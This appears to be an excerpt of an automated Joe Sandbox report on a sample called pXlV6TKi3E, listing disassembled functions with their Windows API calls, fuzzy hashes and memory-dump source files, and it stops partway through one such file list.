                                              • Instruction ID: cb88cf6c43f3e3ea056c0b803acb8ac87b5131ecec61a3a2f128db926668d413
                                              • Opcode Fuzzy Hash: 8196ee989498865a5ef9a219aec57dab85dc590d23e4ba00198d8e8ab0db2d37
                                              • Instruction Fuzzy Hash: 3751B071A0010A9FCF14EFA5C9859EE7BB1AF84314F14057EF602B72D1CB389A81CB59
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040D53C Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON
                                              Download Yara Rule
                                              APIs
                                              • lstrlen.KERNEL32(?,?,?), ref: 0040D568
                                              • _memset.LIBCMT ref: 0040D585
                                              • GetWindowTextA.USER32(00000000,00000000,00000100), ref: 0040D59F
                                              • lstrcmp.KERNEL32(00000000,?), ref: 0040D5B1
                                              • SetWindowTextA.USER32(00000000,?), ref: 0040D5BD
                                                • Part of subcall function 0040D3D1: __CxxThrowException@8.LIBCMT ref: 0040D3E7
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: TextWindow$Exception@8Throw_memsetlstrcmplstrlen
                                              • String ID:
                                              • API String ID: 289641511-0
                                              • Opcode ID: ed7088e7c7ed33fb763e8df939e7bd9e649048d41225e47ef7f157aa6556fbab
                                              • Instruction ID: 2bcc2eb8228d431572feb30ace0f232ca1a8ca5f0a76070424409e37d3c1db53
                                              • Opcode Fuzzy Hash: ed7088e7c7ed33fb763e8df939e7bd9e649048d41225e47ef7f157aa6556fbab
                                              • Instruction Fuzzy Hash: 8C01C8B690011877D710ABA59D84FDF77ACAF55314F000076FE05E3181DAB49A888764
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0041E48F Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • __lock.LIBCMT ref: 0041E4AD
                                                • Part of subcall function 00422F08: __mtinitlocknum.LIBCMT ref: 00422F1E
                                                • Part of subcall function 00422F08: __amsg_exit.LIBCMT ref: 00422F2A
                                                • Part of subcall function 00422F08: EnterCriticalSection.KERNEL32(?,?,?,0042779E,00000004,0043C460,0000000C,004229CD,8007000E,?,00000000,00000000,00000000,?,0042264E,00000001), ref: 00422F32
                                              • ___sbh_find_block.LIBCMT ref: 0041E4B8
                                              • ___sbh_free_block.LIBCMT ref: 0041E4C7
                                              • HeapFree.KERNEL32(00000000,8007000E,0043C118,0000000C,00422EE9,00000000,0043C208,0000000C,00422F23,8007000E,?,?,0042779E,00000004,0043C460,0000000C), ref: 0041E4F7
                                              • GetLastError.KERNEL32(?,0042779E,00000004,0043C460,0000000C,004229CD,8007000E,?,00000000,00000000,00000000,?,0042264E,00000001,00000214), ref: 0041E508
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                              • String ID:
                                              • API String ID: 2714421763-0
                                              • Opcode ID: 49ec83a59066394dc96161ed8bd869f1611d10d6da90f2c782de454c43e1177b
                                              • Instruction ID: 6d7e7dd93a45b436c6f29d8bdc454ee005f2404a4eb86e9d15571e2282d60402
                                              • Opcode Fuzzy Hash: 49ec83a59066394dc96161ed8bd869f1611d10d6da90f2c782de454c43e1177b
                                              • Instruction Fuzzy Hash: 1B01A779A01215BADF307BB3AD0679E36A4AF01328F54411FF90467182DB7D89C0DB5D
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052C6D0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 282COMMON
                                              Download Yara Rule
                                              APIs
                                              • EnterCriticalSection.KERNEL32(0053C958,?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_0012754C), ref: 0052C71A
                                              • GetFullPathNameA.KERNEL32(?,00000104,03650270,00000000), ref: 0052C75A
                                              • CharUpperBuffA.USER32(03650270,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0052C77B
                                                • Part of subcall function 00533CEB: GetCurrentProcessId.KERNEL32(03650670,03650270,?,?,?,?,?,?,?,?,00000017,00000017,00000000,Function_0012754C,00539548,000000FF), ref: 00533D21
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: BuffCharCriticalCurrentEnterFullNamePathProcessSectionUpper
                                              • String ID: \\?\
                                              • API String ID: 1940224101-4282027825
                                              • Opcode ID: aa69ccf4ab72e8deaa9064442b312ed13906c6339bf171b75a06d8027aa6190c
                                              • Instruction ID: 9271b318374ef6a1d322c9914c8357ac780b5c22ed325433eeb79b9bf9bac59b
                                              • Opcode Fuzzy Hash: aa69ccf4ab72e8deaa9064442b312ed13906c6339bf171b75a06d8027aa6190c
                                              • Instruction Fuzzy Hash: B8C13672A042189FDB14CFA8E884BACBFF0FF09314F144569E419AB392D775A985DF14
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00535519 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                              Download Yara Rule
                                              APIs
                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000104,00000000,00000000), ref: 00535583
                                              • GetFullPathNameW.KERNEL32(?,?,?,00000000), ref: 005355AB
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ByteCharFullMultiNamePathWide
                                              • String ID: SearchPathW$kernel32.dll
                                              • API String ID: 2589419084-2208822241
                                              • Opcode ID: d0601b537897ac56bb5db4359f5e73d7e3db8b445ecb706c64dfcb58e11347f5
                                              • Instruction ID: a8a484cbde0270e4858ce1fba9ab7eebee1f5cefde3e928754a773b86b5dd806
                                              • Opcode Fuzzy Hash: d0601b537897ac56bb5db4359f5e73d7e3db8b445ecb706c64dfcb58e11347f5
                                              • Instruction Fuzzy Hash: C5316872904219BFDF019F98DC06FEE7FB5FB08720F208219F624A62D0D77599108B64
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00425355 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • ___BuildCatchObject.LIBCMT ref: 00425368
                                                • Part of subcall function 004252C3: ___BuildCatchObjectHelper.LIBCMT ref: 004252F9
                                              • _UnwindNestedFrames.LIBCMT ref: 0042537F
                                              • ___FrameUnwindToState.LIBCMT ref: 0042538D
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
                                              • String ID: csm
                                              • API String ID: 2163707966-1018135373
                                              • Opcode ID: 1911251edabfc695bfe7924ec819965c3d7031964e20f5a69d57f5701c37e939
                                              • Instruction ID: cd78fb95ce8fd24d468b4ea0235094ab72cca4bd74f761f146427d5b3443f75b
                                              • Opcode Fuzzy Hash: 1911251edabfc695bfe7924ec819965c3d7031964e20f5a69d57f5701c37e939
                                              • Instruction Fuzzy Hash: E6014B31500519BBDF12AF52EC41EEB3F6AEF08398F404016BD1815161D77A99B1DBA8
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052A3E0 Relevance: 6.3, APIs: 4, Instructions: 331COMMON
                                              Download Yara Rule
                                              APIs
                                              • EnterCriticalSection.KERNEL32(0053C958), ref: 0052A40A
                                              • GetFullPathNameA.KERNEL32(?,00000104,03650270,00000000), ref: 0052A451
                                              • CharUpperBuffA.USER32(03650270,?), ref: 0052A468
                                              • SetLastError.KERNEL32(00000012), ref: 0052A79C
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: BuffCharCriticalEnterErrorFullLastNamePathSectionUpper
                                              • String ID:
                                              • API String ID: 4047021408-0
                                              • Opcode ID: 4df890d6575fc62491a57218558e8ce848a9e71bb8516fac2dda80b8868a924c
                                              • Instruction ID: f7a7c98b7b8299dec857513186bcec9757491bf5da3badf60d5797f8d6791ac5
                                              • Opcode Fuzzy Hash: 4df890d6575fc62491a57218558e8ce848a9e71bb8516fac2dda80b8868a924c
                                              • Instruction Fuzzy Hash: D9D13776A00219DFDB04CF98E884AADBBF1FF49324F248559E816AB391C735E846CF44
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00415407 Relevance: 6.2, APIs: 4, Instructions: 180COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ctype$ClearH_prolog3Variant
                                              • String ID:
                                              • API String ID: 3505456615-0
                                              • Opcode ID: bdb1ee0b27f466345184c834b435cecc472fcb38fc8e777d9a63c50ea500256a
                                              • Instruction ID: 898f281734ddc0e52d13ce8474a258e768dbe7e36cbd67b3cce86c1d3a63a8b1
                                              • Opcode Fuzzy Hash: bdb1ee0b27f466345184c834b435cecc472fcb38fc8e777d9a63c50ea500256a
                                              • Instruction Fuzzy Hash: E0711771600A02DFCB20DFA5C9C49AAB7F6BF88305754486EE5469B761CB78EC80CB58
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040F4D9 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 913382e1297f5b613c2575b23fd21d713f2f8bc70684da4178166a73cd4e1696
                                              • Instruction ID: 2f5b70752ce31e7c7a3abf9557a027b6611c65930820294980d4cc4fd44e9ea4
                                              • Opcode Fuzzy Hash: 913382e1297f5b613c2575b23fd21d713f2f8bc70684da4178166a73cd4e1696
                                              • Instruction Fuzzy Hash: F6516D71A00215EFDB24CFA5D880E6ABBB4FF08344F10847AE905AB692D775ED05CB94
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004182D2 Relevance: 6.1, APIs: 4, Instructions: 89COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: __msize_malloc
                                              • String ID:
                                              • API String ID: 1288803200-0
                                              • Opcode ID: a33d10f94e842b3576c993c7fd45bdea3ea26f4e00975f4b7d8f33238bdab325
                                              • Instruction ID: df28b0291c3ef82d575d2d86c1a60424083083dd58542df8779dc946171d97f1
                                              • Opcode Fuzzy Hash: a33d10f94e842b3576c993c7fd45bdea3ea26f4e00975f4b7d8f33238bdab325
                                              • Instruction Fuzzy Hash: 92219871200214AFCB25AF39D88199A77A1BF40B14B15852FEC288B286DF39DCD1C79C
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004161CD Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetTopWindow.USER32(?), ref: 00416268
                                                • Part of subcall function 0040699F: GetWindow.USER32(?,?), ref: 004069AB
                                              • GetParent.USER32(?), ref: 004161F0
                                              • GetWindowLongA.USER32(?,000000EC), ref: 0041622A
                                              • IsWindowVisible.USER32(?), ref: 00416243
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
